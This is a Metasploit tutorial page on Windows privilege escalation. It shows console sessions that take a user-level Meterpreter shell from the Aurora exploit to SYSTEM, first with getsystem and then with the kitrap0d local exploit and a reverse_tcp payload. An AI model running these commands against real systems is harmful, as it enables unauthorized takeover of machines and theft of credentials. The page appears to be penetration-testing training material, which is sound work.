Privilege Escalation a11y.text Privilege Escalation Frequently, especially with client side exploits , you will find that your session only has limited user rights. This can severely limit actions you can perform on the remote system such as dumping passwords, manipulating the registry, installing backdoors, etc. Fortunately, Metasploit has a Meterpreter script, getsystem , that will use a number of different techniques to attempt to gain SYSTEM level privileges on the remote system. There are also various other (local) exploits that can be used to also escalate privileges. Using the infamous â€˜Auroraâ€™ exploit, we see that our Meterpreter session is only running as a regular user account. msf exploit(ms10_002_aurora) >

[*] Sending Internet Explorer "Aurora" Memory Corruption to client 192.168.1.161

[*] Sending stage (748544 bytes) to 192.168.1.161

[*] Meterpreter session 3 opened (192.168.1.71:38699 -> 192.168.1.161:4444) at 2010-08-21 13:39:10 -0600

msf exploit(ms10_002_aurora) > sessions -i 3

[*] Starting interaction with 3...

meterpreter > getuid

Server username: XEN-XP-SP2-BARE\victim

meterpreter > GetSystem a11y.text GetSystem To make use of the getsystem command, if its not already loaded we will need to first load the â€˜privâ€™ extension. meterpreter > use priv

Loading extension priv...success.

meterpreter > Running getsystem with the -h switch will display the options available to us.

meterpreter > getsystem -h

Usage: getsystem [options]

Attempt to elevate your privilege to that of local system.

OPTIONS:

-h Help Banner.

-t The technique to use. (Default to '0').

0 : All techniques available

1 : Service - Named Pipe Impersonation (In Memory/Admin)

2 : Service - Named Pipe Impersonation (Dropper/Admin)

3 : Service - Token Duplication (In Memory/Admin)

meterpreter > We will let Metasploit try to do the heavy lifting for us by running getsystem without any options. The script will attempt every method available to it, stopping when it succeeds. Within the blink of an eye, our session is now running with SYSTEM privileges. meterpreter > getsystem ...got system (via technique 1).

meterpreter > getuid

Server username: NT AUTHORITY\SYSTEM

meterpreter > Local Exploits a11y.text Local Exploits There are situations where getsystem fails. For example: meterpreter > getsystem

[-] priv_elevate_getsystem: Operation failed: Access is denied.

meterpreter > When this happens, we are able to background the session, and manually try some additional exploits that Metasploit has to offer. Note: The available exploits will change over time.

meterpreter > background

[*] Backgrounding session 1...

msf exploit(ms10_002_aurora) > use exploit/windows/local/

...snip...

use exploit/windows/local/bypassuac

use exploit/windows/local/bypassuac_injection

...snip...

use exploit/windows/local/ms10_015_kitrap0d

use exploit/windows/local/ms10_092_schelevator

use exploit/windows/local/ms11_080_afdjoinleaf

use exploit/windows/local/ms13_005_hwnd_broadcast

use exploit/windows/local/ms13_081_track_popup_menu

...snip...

msf exploit(ms10_002_aurora) > Letâ€™s try and use the famous kitrap0d exploit on our target. Our example box is a 32-bit machine and is listed as one of the vulnerable targetsâ€¦ msf exploit(ms10_002_aurora) > use exploit/windows/local/ms10_015_kitrap0d

msf exploit(ms10_015_kitrap0d) > set SESSION 1

msf exploit(ms10_015_kitrap0d) > set PAYLOAD windows/meterpreter/reverse_tcp

msf exploit(ms10_015_kitrap0d) > set LHOST 192.168.1.161

msf exploit(ms10_015_kitrap0d) > set LPORT 4443

msf exploit(ms10_015_kitrap0d) > show options

Module options (exploit/windows/local/ms10_015_kitrap0d):

Name	Current Setting	Required	Description
SESSION	1	yes	The session to run this module on.

Payload options (windows/meterpreter/reverse_tcp):

```
   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (accepted: seh, thread, process, none)
   LHOST     192.168.1.161    yes       The listen address
   LPORT     4443             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Windows 2K SP4 - Windows 7 (x86)


msf exploit(ms10_015_kitrap0d) > exploit

[*]  Started reverse handler on 192.168.1.161:4443
[*]  Launching notepad to host the exploit...
[+]  Process 4048 launched.
[*]  Reflectively injecting the exploit DLL into 4048...
[*]  Injecting exploit into 4048 ...
[*]  Exploit injected. Injecting payload into 4048...
[*]  Payload injected. Executing exploit...
[+]  Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*]  Sending stage (769024 bytes) to 192.168.1.71
```

[*] Meterpreter session 2 opened (192.168.1.161:4443 -> 192.168.1.71:49204) at 2014-03-11 11:14:00 -0400

meterpreter > getuid

Server username: NT AUTHORITY\SYSTEM

meterpreter > Next PSExec Pass the Hash Prev MSF Post Exploitation